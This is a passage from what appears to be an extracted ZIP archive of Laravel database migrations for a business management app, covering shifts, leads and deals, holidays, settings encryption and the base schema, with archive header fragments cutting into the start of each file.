Schema::dropIfExists('visa_details'); } }; PKZ=migrations/2024_06_26_105345_create_automate_shifts_table.phpnu[bigIncrements('id'); $table->unsignedInteger('user_id')->index('employee_shift_schedules_user_id_foreign'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->unsignedInteger('employee_shift_rotation_id')->nullable(); $table->foreign('employee_shift_rotation_id')->references('id')->on('employee_shift_rotations')->cascadeOnDelete()->cascadeOnUpdate(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('automate_shifts'); } }; PKZ]6migrations/2024_07_22_051342_update_module_setting.phpnu[where('module_name', 'clients')->delete(); } }; PKZ*)$$Lmigrations/2022_07_04_111754_add_project_short_code_column_project_table.phpnu[string('project_short_code')->after('project_name')->nullable(); }); $projects = Project::withTrashed()->select(['project_name', 'id'])->get(); foreach ($projects as $project) { $project->project_short_code = $this->initials($project->project_name); $project->saveQuietly(); } } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('projects', function (Blueprint $table) { $table->dropColumn('project_short_code'); }); } protected function initials($str): string { $str = preg_replace('/\s+/', ' ', $str); $ret = ''; $array = explode(' ', $str); if (count($array) === 1 || count($array) === 0) { return $this->clean(strtoupper(substr($str, -4))); } foreach ($array as $word) { $ret .= strtoupper($word[0]); } return $this->clean($ret); } protected function clean($string) { $string = str_replace(' ', '-', $string); // Replaces all spaces with hyphens. $string = preg_replace('/[^A-Za-z0-9\-]/', '', $string); // Removes special chars. return preg_replace('/-+/', '-', $string); // Replaces multiple hyphens with single one. } }; PKZ}}Gmigrations/2024_06_05_101518_add_half_day_type_to_attendances_table.phpnu[string('half_day_type')->nullable()->after('half_day'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('attendances', function (Blueprint $table) { $table->dropColumn('half_day_type'); }); } }; PKZwRmigrations/2024_06_12_105831_project_time_log_null_entries_on_task_soft_delete.phpnu[whereHas('tasksOnlyTrashed') ->update(['end_time' => now()]); } /** * Reverse the migrations. */ public function down(): void { // } }; PKZEQQQQ;migrations/2023_12_05_062223_create_lead_contract_table.phpnu[createTables(); $this->companySpecificChanges(); $this->createDealsFromLeads(); $this->addDealModulePermission(); $this->cleanUpLeadTables(); } private function createTables() { if (!Schema::hasTable('lead_pipelines')) { Schema::create('lead_pipelines', function (Blueprint $table) { $table->id(); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('name')->nullable(); $table->string('slug')->nullable(); $table->integer('priority')->default(0); $table->string('label_color')->default('#ff0000'); $table->boolean('default'); $table->timestamps(); }); } if (!Schema::hasTable('pipeline_stages')) { Schema::create('pipeline_stages', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedBigInteger('lead_pipeline_id')->nullable(); $table->foreign('lead_pipeline_id')->references(['id'])->on('lead_pipelines')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('name')->nullable(); $table->string('slug')->nullable(); $table->integer('priority')->default(0); $table->boolean('default')->default(0); $table->string('label_color')->default('#ff0000'); $table->timestamps(); }); } if (!Schema::hasTable('deals')) { Schema::create('deals', function (Blueprint $table) { $table->id(); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('name')->nullable(); $table->integer('column_priority')->default(0); $table->unsignedBigInteger('lead_pipeline_id')->nullable(); $table->foreign('lead_pipeline_id')->references(['id'])->on('lead_pipelines')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->unsignedInteger('pipeline_stage_id')->nullable(); $table->foreign('pipeline_stage_id')->references(['id'])->on('pipeline_stages')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->unsignedInteger('lead_id')->nullable(); $table->foreign('lead_id')->references('id')->on('leads')->onDelete('cascade')->onUpdate('cascade'); $table->date('close_date')->nullable(); $table->unsignedBigInteger('agent_id')->nullable()->index('leads_agent_id_foreign'); $table->foreign(['agent_id'])->references(['id'])->on('lead_agents')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->enum('next_follow_up', ['yes', 'no'])->default('yes'); $table->double('value', 30, 2)->nullable()->default(0); $table->longText('note')->nullable(); $table->text('hash')->nullable(); $table->unsignedInteger('currency_id')->nullable()->index('leads_currency_id_foreign'); $table->foreign(['currency_id'])->references(['id'])->on('currencies')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->unsignedInteger('added_by')->nullable(); $table->foreign('added_by')->references('id')->on('users')->onDelete('cascade'); $table->unsignedInteger('last_updated_by')->nullable(); $table->foreign('last_updated_by')->references('id')->on('users')->onDelete('cascade'); $table->timestamps(); }); } if (!Schema::hasTable('lead_pipeline_stages')) { Schema::create('lead_pipeline_stages', function (Blueprint $table) { $table->increments('id'); $table->unsignedBigInteger('lead_pipeline_id')->unsigned()->nullable(); $table->foreign('lead_pipeline_id')->references('id')->on('lead_pipelines')->onDelete('cascade')->onUpdate('cascade'); $table->integer('pipeline_stages_id')->unsigned()->nullable(); $table->foreign('pipeline_stages_id')->references('id')->on('pipeline_stages')->onDelete('cascade')->onUpdate('cascade'); $table->timestamps(); }); } Schema::whenTableDoesntHaveColumn('user_leadboard_settings', 'pipeline_stage_id', function (Blueprint $table) { try { if (Schema::hasColumn('user_leadboard_settings', 'board_column_id')) { $table->dropForeign(['board_column_id']); $table->dropColumn('board_column_id'); } } catch (\Exception $e) { echo $e->getMessage(); } $table->unsignedInteger('pipeline_stage_id')->nullable()->after('user_id'); $table->foreign('pipeline_stage_id')->references(['id'])->on('pipeline_stages')->onUpdate('CASCADE')->onDelete('SET NULL'); }); if (!Schema::hasTable('deal_notes')) { Schema::create('deal_notes', function (Blueprint $table) { $table->increments('id'); $table->string('title'); $table->longText('details')->nullable(); $table->unsignedBigInteger('deal_id')->nullable(); $table->unsignedInteger('added_by')->nullable(); $table->unsignedInteger('last_updated_by')->nullable(); $table->foreign('last_updated_by')->references('id')->on('users')->onDelete('cascade'); $table->foreign('added_by')->references('id')->on('users')->onDelete('cascade'); $table->foreign('deal_id')->references('id')->on('deals')->onDelete('cascade')->onUpdate('cascade'); $table->timestamps(); }); } $tables = [ 'lead_follow_up', 'lead_products', 'proposals', 'purpose_consent_leads', ]; foreach ($tables as $tableName) { Schema::whenTableDoesntHaveColumn($tableName, 'deal_id', function (Blueprint $table) { $table->unsignedBigInteger('deal_id')->nullable()->after('lead_id'); $table->foreign('deal_id')->references('id')->on('deals')->onDelete('cascade')->onUpdate('cascade'); }); } if (Schema::hasTable('lead_files')) { Schema::table('lead_files', function (Blueprint $table) { $table->dropForeign(['lead_id']); }); Schema::rename('lead_files', 'deal_files'); Schema::whenTableDoesntHaveColumn('deal_files', 'deal_id', function (Blueprint $table) { $table->unsignedBigInteger('deal_id')->nullable()->after('lead_id'); $table->foreign('deal_id')->references('id')->on('deals')->onDelete('cascade')->onUpdate('cascade'); }); } } private function companySpecificChanges() { $companies = Company::all(); foreach ($companies as $company) { $dashboardWidget = DashboardWidget::where('dashboard_type', 'admin-client-dashboard') ->where('widget_name', 'total_deals') ->where('company_id', $company->id) ->first(); if ($dashboardWidget) { continue; } $pipeline = (new \App\Observers\CompanyObserver())->leadStages($company); $leadStatus = DB::table('lead_status')->where('company_id', $company->id)->get(); foreach ($leadStatus as $status) { if (!in_array($status->type, ['pending', 'in process', 'done'])) { $pipelineStage = new PipelineStage(); $pipelineStage->company_id = $company->id; $pipelineStage->lead_pipeline_id = $pipeline->id; $pipelineStage->name = $status->type; $pipelineStage->save(); } } $leadBoardSettings = UserLeadboardSetting::where('company_id', $company->id)->get(); $leadStages = PipelineStage::where('company_id', $company->id)->get(); foreach ($leadBoardSettings as $leadBoard) { $statusData = $leadStatus->where('id', $leadBoard->pipeline_stage_id)->first(); $stage = match ($statusData?->type) { 'pending' => $leadStages->where('name', 'Generated')->first(), 'in process' => $leadStages->where('name', 'On going')->first(), 'done' => $leadStages->where('name', 'Win')->first(), null => null, default => $leadStages->where('name', $statusData->type)->first(), }; if ($stage) { $leadBoard->pipeline_stage_id = $stage->id; $leadBoard->save(); } } if (is_null($dashboardWidget)) { $widget = ['dashboard_type' => 'admin-client-dashboard', 'widget_name' => 'total_deals', 'status' => 1, 'company_id' => $company->id]; DashboardWidget::create($widget); } } } private function createDealsFromLeads() { $leads = Lead::withoutGlobalScopes()->get(); foreach ($leads as $lead) { if (Deal::where('lead_id', $lead->id)->exists()) { continue; } try { $pipeline = LeadPipeline::withoutGlobalScopes()->where('company_id', $lead->company_id)->first(); $pipelineStages = PipelineStage::withoutGlobalScopes()->where('company_id', $lead->company_id)->get(); $leadStatus = DB::table('lead_status')->where('id', $lead->status_id)->first(); $stage = $pipelineStages->where('default', 1)->first(); $stage = match ($leadStatus->type) { 'pending' => $pipelineStages->where('name', 'Generated')->first() ?? $stage, 'in process' => $pipelineStages->where('name', 'On going')->first() ?? $stage, 'done' => $pipelineStages->where('name', 'Win')->first() ?? $stage, null => $stage, default => $pipelineStages->where('name', $leadStatus->type)->first() ?? $stage, }; // Lead Details save in deals $deal = new Deal(); $deal->company_id = $lead->company_id; $deal->name = $lead->client_name; $deal->lead_pipeline_id = $pipeline->id; $deal->pipeline_stage_id = $stage->id; $deal->lead_id = $lead->id; $deal->agent_id = $lead->agent_id; $deal->next_follow_up = $lead->next_follow_up; $deal->value = $lead->value; $deal->currency_id = $lead->currency_id; $deal->added_by = $lead->added_by; $deal->last_updated_by = $lead->last_updated_by; $deal->hash = md5(microtime()); $deal->next_follow_up = 'yes'; $deal->saveQuietly(); DealFollowUp::where('lead_id', $lead->id)->update(['deal_id' => $deal->id]); LeadProduct::where('lead_id', $lead->id)->update(['deal_id' => $deal->id]); Proposal::where('lead_id', $lead->id)->update(['deal_id' => $deal->id]); PurposeConsentLead::where('lead_id', $lead->id)->update(['deal_id' => $deal->id]); DealFile::where('lead_id', $lead->id)->update(['deal_id' => $deal->id]); } catch (\Exception $e) { echo "\nError in lead id: " . $lead->id . ' Error: ' . $e->getMessage() . "\n"; } } $tables = [ 'lead_follow_up', 'lead_products', 'proposals', 'purpose_consent_leads', ]; foreach ($tables as $tableName) { try { Schema::whenTableHasColumn($tableName, 'lead_id', function (Blueprint $table) { $table->dropForeign(['lead_id']); $table->dropColumn('lead_id'); }); } catch (\Exception $exception) { echo $exception->getMessage(); } } try { Schema::whenTableHasColumn('deal_files', 'lead_id', function (Blueprint $table) { $table->dropColumn('lead_id'); }); } catch (\Exception $exception) { echo $exception->getMessage(); } } private function addDealModulePermission() { $addDealsPermission = Permission::where('name', 'add_deals')->first(); if (!$addDealsPermission) { $leadsModule = Module::firstOrCreate(['module_name' => 'leads']); $dealPer = [ [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_deals', 'display_name' => ucwords(str_replace('_', ' ', 'add_deals')), 'module_id' => $leadsModule->id, ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'view_deals', 'display_name' => ucwords(str_replace('_', ' ', 'view_deals')), 'module_id' => $leadsModule->id, ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'edit_deals', 'display_name' => ucwords(str_replace('_', ' ', 'edit_deals')), 'module_id' => $leadsModule->id, ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'display_name' => ucwords(str_replace('_', ' ', 'delete_deals')), 'name' => 'delete_deals', 'module_id' => $leadsModule->id, ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'display_name' => ucwords(str_replace('_', ' ', 'manage_deal_stages')), 'name' => 'manage_deal_stages', 'module_id' => $leadsModule->id, ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'display_name' => ucwords(str_replace('_', ' ', 'change_deal_stages')), 'name' => 'change_deal_stages', 'module_id' => $leadsModule->id, ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'display_name' => ucwords(str_replace('_', ' ', 'add_deal_pipeline')), 'name' => 'add_deal_pipeline', 'module_id' => $leadsModule->id, ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'display_name' => ucwords(str_replace('_', ' ', 'view_deal_pipeline')), 'name' => 'view_deal_pipeline', 'module_id' => $leadsModule->id, ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'display_name' => ucwords(str_replace('_', ' ', 'edit_deal_pipeline')), 'name' => 'edit_deal_pipeline', 'module_id' => $leadsModule->id, ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'display_name' => ucwords(str_replace('_', ' ', 'delete_deal_pipeline')), 'name' => 'delete_deal_pipeline', 'module_id' => $leadsModule->id, ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'display_name' => ucwords(str_replace('_', ' ', 'add_deal_note')), 'name' => 'add_deal_note', 'module_id' => $leadsModule->id, ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'display_name' => ucwords(str_replace('_', ' ', 'view_deal_note')), 'name' => 'view_deal_note', 'module_id' => $leadsModule->id, ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'display_name' => ucwords(str_replace('_', ' ', 'edit_deal_note')), 'name' => 'edit_deal_note', 'module_id' => $leadsModule->id, ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'display_name' => ucwords(str_replace('_', ' ', 'delete_deal_note')), 'name' => 'delete_deal_note', 'module_id' => $leadsModule->id, ], ]; Permission::whereIn('name', ['manage_lead_status', 'change_lead_status'])->delete(); foreach ($dealPer as $dealPe) { Permission::firstOrCreate($dealPe); } $admins = RoleUser::join('roles', 'roles.id', '=', 'role_user.role_id') ->where('name', 'admin') ->get(); $allTypePermission = PermissionType::ofType('all')->first(); $dealPermissions = Permission::where('module_id', $leadsModule->id)->get(); foreach ($dealPermissions as $dealPermission) { foreach ($admins as $item) { UserPermission::firstOrCreate( [ 'user_id' => $item->user_id, 'permission_id' => $dealPermission->id, 'permission_type_id' => $allTypePermission->id ?? PermissionType::ALL ] ); } } } } private function cleanUpLeadTables() { Schema::table('leads', function (Blueprint $table) { $table->dropForeign(['agent_id']); $table->dropForeign(['currency_id']); $table->dropColumn('agent_id'); $table->dropColumn('currency_id'); $table->dropColumn('next_follow_up'); $table->dropColumn('value'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('lead_pipelines'); Schema::dropIfExists('pipeline_stages'); Schema::dropIfExists('lead_pipeline_stages'); } }; PKZ 77Bmigrations/2024_03_12_065738_add_columns_fix_to_holidays_table.phpnu[text('department_id_json')->nullable(); $table->text('designation_id_json')->nullable(); $table->text('employment_type_json')->nullable(); }); } if (Schema::hasColumns('holidays', ['department_id', 'designation_id', 'employment_type'])) { Schema::table('holidays', function (Blueprint $table) { $table->dropColumn('department_id'); $table->dropColumn('designation_id'); $table->dropColumn('employment_type'); }); } Permission::whereIn('name', ['view_holiday', 'edit_holiday', 'delete_holiday'])->update(['allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5]); } /** * Reverse the migrations. */ public function down(): void { Schema::table('holidays', function (Blueprint $table) { $table->dropColumn('department_id_json'); $table->dropColumn('designation_id_json'); $table->dropColumn('employment_type_json'); }); } }; PKZ~ .Hmigrations/2024_04_29_123208_add_column_type_in_ticket_replies_table.phpnu[enum('type', ['reply', 'note'])->default('reply')->after('message'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('ticket_replies', function (Blueprint $table) { $table->dropColumn('type'); }); } }; PKZ<4  1migrations/2024_04_15_112542_password_encrypt.phpnu[changeToTextAndEncrypt(new SmtpSetting()); // SOCIAL AUTH SETTING $this->changeToTextAndEncrypt(new SocialAuthSetting()); // Payment Gateway Setting $this->changeToTextAndEncrypt(new PaymentGatewayCredentials()); // Payment Gateway Setting $this->changeToTextAndEncrypt(new GlobalSetting()); // STORAGE $storages = StorageSetting::all(); foreach ($storages as $storage) { $this->saveEncrypt($storage, ['auth_keys']); } $globalSetting = GlobalSetting::first(); if ($globalSetting) { DB::table($globalSetting->getTable())->where('google_map_key', '')->update(['google_map_key' => null]); } } private function changeToTextAndEncrypt($model) { $columns = $this->getColumns($model); Schema::table($model->getTable(), function (Blueprint $table) use ($columns) { foreach ($columns as $column) { $table->text($column)->nullable()->change(); } }); $dataObject = $model->all(); foreach ($dataObject as $data) { $this->saveEncrypt($data, $columns); } } private function getColumns($model): array { $casts = $model->getCasts(); $encryptedFields = array_keys(array_filter($casts, function ($value) { return $value === 'encrypted'; })); return $encryptedFields; } /** * Reverse the migrations. */ public function down(): void { // } private function saveEncrypt($model, $columns) { if (!$model) { return true; } $fieldsToUpdate = []; foreach ($columns as $fieldItem) { $rawValue = $model->getRawOriginal($fieldItem); if (!is_null($rawValue) && $rawValue !== '') { $fieldsToUpdate[$fieldItem] = $rawValue; } } try { Crypt::decryptString(head($fieldsToUpdate)); } catch (DecryptException $e) { $encryptedValues = []; if (count($fieldsToUpdate) == 0) { return true; } foreach ($fieldsToUpdate as $fieldName => $fieldValue) { $encryptedValues[$fieldName] = Crypt::encryptString($fieldValue); } DB::table($model->getTable())->where('id', $model->id)->update($encryptedValues); } } }; PKZK;;@migrations/2023_09_05_111736_employee_can_export_data_tabled.phpnu[enum('sign_up_terms', ['yes', 'no'])->default('no')->after('show_update_popup'); $table->text('terms_link')->nullable()->after('show_update_popup'); }); } if (!Schema::hasColumn('companies', 'employee_can_export_data')) { Schema::table('companies', function (Blueprint $table) { $table->boolean('employee_can_export_data')->default(true); }); } } }; PKZ-migrations/2024_01_29_052114_lead_changes.phpnu[dropForeign(['client_id']); }); } catch (\Exception $e) { echo "\nForeign key client_id does not exist in leads\n"; } Schema::table('leads', function (Blueprint $table) { $table->dropColumn('client_id'); }); Schema::table('lead_notes', function (Blueprint $table) { $table->dropForeign(['lead_contact_id']); }); Schema::table('lead_contacts', function (Blueprint $table) { $table->renameColumn('name', 'client_name'); $table->renameColumn('email', 'client_email'); }); Schema::rename('leads', 'deals'); Schema::rename('lead_contacts', 'leads'); Schema::table('lead_notes', function (Blueprint $table) { $table->renameColumn('lead_contact_id', 'lead_id'); $table->foreign('lead_id')->references('id')->on('leads')->onDelete('cascade')->onUpdate('cascade'); }); try { Schema::table('deals', function (Blueprint $table) { $table->dropForeign(['lead_contact_id']); }); } catch (\Exception $e) { echo "\nForeign key lead_contact_id does not exist in deals\n"; } Schema::table('deals', function (Blueprint $table) { $table->renameColumn('lead_contact_id', 'lead_id'); $table->foreign('lead_id')->references('id')->on('leads')->onDelete('cascade')->onUpdate('cascade'); }); // Change lead custom field data to Deal CustomFieldGroup::where('model', 'App\Models\LeadContact')->update(['name' => 'Lead', 'model' => 'App\Models\Lead']); // Change group DB::table('custom_fields_data')->where('model', 'App\Models\LeadContact')->update(['model' => 'App\Models\Lead']); // Change model Schema::table('deal_notes', function (Blueprint $table) { $table->renameColumn('lead_id', 'deal_id'); }); Schema::table('lead_follow_up', function (Blueprint $table) { $table->renameColumn('lead_id', 'deal_id'); }); Schema::table('lead_products', function (Blueprint $table) { $table->renameColumn('lead_id', 'deal_id'); }); Schema::table('proposals', function (Blueprint $table) { $table->renameColumn('lead_id', 'deal_id'); }); Schema::table('purpose_consent_leads', function (Blueprint $table) { $table->renameColumn('lead_id', 'deal_id'); }); DB::statement("UPDATE permissions SET display_name = REPLACE(display_name, 'Deal', 'Lead') WHERE name IN ('view_lead_files', 'add_lead_files', 'delete_lead_files', 'view_lead_follow_up', 'add_lead_follow_up', 'edit_lead_follow_up', 'delete_lead_follow_up', 'view_lead_proposals', 'add_lead_proposals', 'edit_lead_proposals', 'delete_lead_proposals', 'manage_proposal_template', 'view_lead_agents', 'add_lead_agent', 'edit_lead_agent', 'delete_lead_agent')"); $leadModule = Module::where('module_name', 'leads')->first(); $dealModule = Module::where('module_name', 'deals')->first(); if($dealModule){ Permission::where('module_id', $dealModule->id)->update(['module_id' => $leadModule->id, 'is_custom' => 1]); $dealModule->delete(); } } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZ=:EaaYmigrations/2024_06_06_085555_change_lead_contact_permission_all_added_owned_both_none.phpnu[first(); if ($permission) { $permission->allowed_permissions = Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5; $permission->save(); } Schema::whenTableDoesntHaveColumn('leads', 'lead_owner', function (Blueprint $table) { $table->integer('lead_owner')->nullable()->after('added_by'); }); } /** * Reverse the migrations. */ public function down(): void { $permission = Permission::where('name', 'view_lead')->first(); if ($permission) { $permission->allowed_permissions = Permission::ALL_NONE; $permission->save(); } } }; PKZ HQ<<?migrations/2024_12_24_064941_add_weekly_timesheet_id_column.phpnu[unsignedBigInteger('weekly_timesheet_id')->nullable(); $table->foreign('weekly_timesheet_id')->references('id')->on('weekly_timesheets')->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('project_time_logs', function (Blueprint $table) { $table->dropForeign(['weekly_timesheet_id']); $table->dropColumn('weekly_timesheet_id'); }); } }; PKZHmigrations/2023_05_04_083334_add_early_clock_in_employee_shift_table.phpnu[dropColumn('early_clock_in'); }); Schema::table('employee_shifts', function (Blueprint $table) { $table->string('early_clock_in')->nullable(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('employee_shifts', function (Blueprint $table) { $table->dropColumn('early_clock_in'); }); Schema::table('attendance_settings', function (Blueprint $table) { $table->string('early_clock_in')->nullable(); }); } }; PKZ.:b*b*;migrations/2018_01_01_000000_create_worksuite_new_table.phpnu[increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->string('currency_name'); $table->string('currency_symbol')->nullable(); $table->string('currency_code'); $table->double('exchange_rate')->nullable(); $table->enum('is_cryptocurrency', ['yes', 'no'])->default('no'); $table->double('usd_price')->nullable(); $table->timestamps(); }); Schema::create('taskboard_columns', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->string('column_name')->unique(); $table->string('slug')->nullable(); $table->string('label_color'); $table->integer('priority'); $table->timestamps(); }); Schema::create('countries', function (Blueprint $table) { $table->increments('id'); $table->char('iso', 2); $table->string('name', 80); $table->string('nicename', 80); $table->char('iso3', 3)->nullable(); $table->smallInteger('numcode')->nullable(); $table->integer('phonecode'); }); Schema::create('users', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->string('name'); $table->string('email')->nullable()->unique(); $table->string('password'); $table->text('two_factor_secret')->nullable(); $table->text('two_factor_recovery_codes')->nullable(); $table->boolean('two_factor_confirmed')->default(false); $table->boolean('two_factor_email_confirmed')->default(false); $table->string('image')->nullable(); $table->string('mobile')->nullable(); $table->enum('gender', ['male', 'female', 'others'])->nullable(); $table->enum('salutation', ['mr', 'mrs', 'miss', 'dr', 'sir', 'madam'])->nullable(); $table->string('locale')->default('en'); $table->enum('status', ['active', 'deactive'])->default('active'); $table->enum('login', ['enable', 'disable'])->default('enable'); $table->text('onesignal_player_id')->nullable(); $table->timestamp('last_login')->nullable(); $table->boolean('email_notifications')->default(true); $table->unsignedInteger('country_id')->nullable()->index('users_country_id_foreign'); $table->foreign(['country_id'])->references(['id'])->on('countries')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->boolean('dark_theme'); $table->boolean('rtl'); $table->enum('two_fa_verify_via', ['email', 'google_authenticator', 'both'])->nullable(); $table->string('two_factor_code')->nullable()->comment('when authenticator is email'); $table->dateTime('two_factor_expires_at')->nullable(); $table->boolean('admin_approval')->default(true); $table->boolean('permission_sync')->default(true); $table->boolean('google_calendar_status')->default(true); $table->rememberToken(); $table->timestamps(); }); Schema::create('companies', function (Blueprint $table) { $table->increments('id'); $table->string('company_name'); $table->string('app_name')->nullable(); $table->string('company_email'); $table->string('company_phone'); $table->string('logo')->nullable(); $table->string('light_logo')->nullable(); $table->string('favicon')->nullable(); $table->enum('auth_theme', ['dark', 'light'])->default('light'); $table->enum('sidebar_logo_style', ['square', 'full'])->default('square'); $table->string('login_background')->nullable(); $table->text('address'); $table->string('website')->nullable(); $table->unsignedInteger('currency_id')->nullable()->index('companies_currency_id_foreign'); $table->string('timezone')->default('Asia/Kolkata'); $table->string('date_format', 20)->default('d-m-Y'); $table->string('date_picker_format')->default('dd-mm-yyyy'); $table->string('moment_format')->default('DD-MM-YYYY'); $table->string('time_format', 20)->default('h:i a'); $table->string('locale')->default('en'); $table->decimal('latitude', 10, 8)->default(26.9124336); $table->decimal('longitude', 11, 8)->default(75.7872709); $table->enum('leaves_start_from', ['joining_date', 'year_start'])->default('joining_date'); $table->enum('active_theme', ['default', 'custom'])->default('default'); $table->unsignedInteger('last_updated_by')->nullable()->index('companies_last_updated_by_foreign'); $table->string('currency_converter_key')->nullable(); $table->string('google_map_key')->nullable(); $table->enum('task_self', ['yes', 'no'])->default('yes'); $table->string('purchase_code', 100)->nullable(); $table->string('license_type', 20)->nullable(); $table->timestamp('supported_until')->nullable(); $table->enum('google_recaptcha_status', ['active', 'deactive'])->default('deactive'); $table->enum('google_recaptcha_v2_status', ['active', 'deactive'])->default('deactive'); $table->string('google_recaptcha_v2_site_key')->nullable(); $table->string('google_recaptcha_v2_secret_key')->nullable(); $table->enum('google_recaptcha_v3_status', ['active', 'deactive'])->default('deactive'); $table->string('google_recaptcha_v3_site_key')->nullable(); $table->string('google_recaptcha_v3_secret_key')->nullable(); $table->boolean('app_debug')->default(false); $table->boolean('rounded_theme')->default(1); $table->boolean('hide_cron_message')->default(false); $table->boolean('system_update')->default(true); $table->string('logo_background_color')->default('#ffffff'); $table->integer('before_days'); $table->integer('after_days'); $table->enum('on_deadline', ['yes', 'no'])->default('yes'); $table->unsignedInteger('default_task_status')->default(1)->index('companies_default_task_status_foreign'); $table->boolean('show_review_modal')->default(true); $table->boolean('dashboard_clock')->default(true); $table->boolean('ticket_form_google_captcha')->default(false); $table->boolean('lead_form_google_captcha')->default(false); $table->integer('taskboard_length')->default(10); $table->timestamp('last_cron_run')->nullable(); $table->enum('session_driver', ['file', 'database'])->default('file'); $table->boolean('allow_client_signup'); $table->boolean('admin_client_signup_approval'); $table->text('allowed_file_types')->nullable(); $table->enum('google_calendar_status', ['active', 'inactive'])->default('inactive'); $table->text('google_client_id')->nullable(); $table->text('google_client_secret')->nullable(); $table->enum('google_calendar_verification_status', ['verified', 'non_verified'])->default('non_verified'); $table->string('google_id')->nullable(); $table->string('name')->nullable(); $table->text('token')->nullable(); $table->integer('allowed_file_size')->default(10); $table->enum('currency_key_version', ['free', 'api'])->default('free'); $table->foreign(['currency_id'])->references(['id'])->on('currencies')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['default_task_status'])->references(['id'])->on('taskboard_columns')->onUpdate('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->timestamps(); }); Schema::table('users', function (Blueprint $table) { $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); }); Schema::table('taskboard_columns', function (Blueprint $table) { $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); }); Schema::table('currencies', function (Blueprint $table) { $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); }); Schema::create('estimates', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('client_id')->index('estimates_client_id_foreign'); $table->string('estimate_number')->nullable()->unique(); $table->date('valid_till'); $table->double('sub_total', 16, 2); $table->double('discount')->default(0); $table->enum('discount_type', ['percent', 'fixed'])->default('percent'); $table->double('total', 16, 2); $table->unsignedInteger('currency_id')->nullable()->index('estimates_currency_id_foreign'); $table->enum('status', ['declined', 'accepted', 'waiting', 'sent', 'draft', 'canceled'])->default('waiting'); $table->mediumText('note')->nullable(); $table->longText('description')->nullable(); $table->boolean('send_status')->default(true); $table->unsignedInteger('added_by')->nullable()->index('estimates_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('estimates_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['client_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['currency_id'])->references(['id'])->on('currencies')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->text('hash')->nullable(); $table->enum('calculate_tax', ['after_discount', 'before_discount'])->default('after_discount'); $table->timestamps(); }); Schema::create('accept_estimates', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('estimate_id')->index('accept_estimates_estimate_id_foreign'); 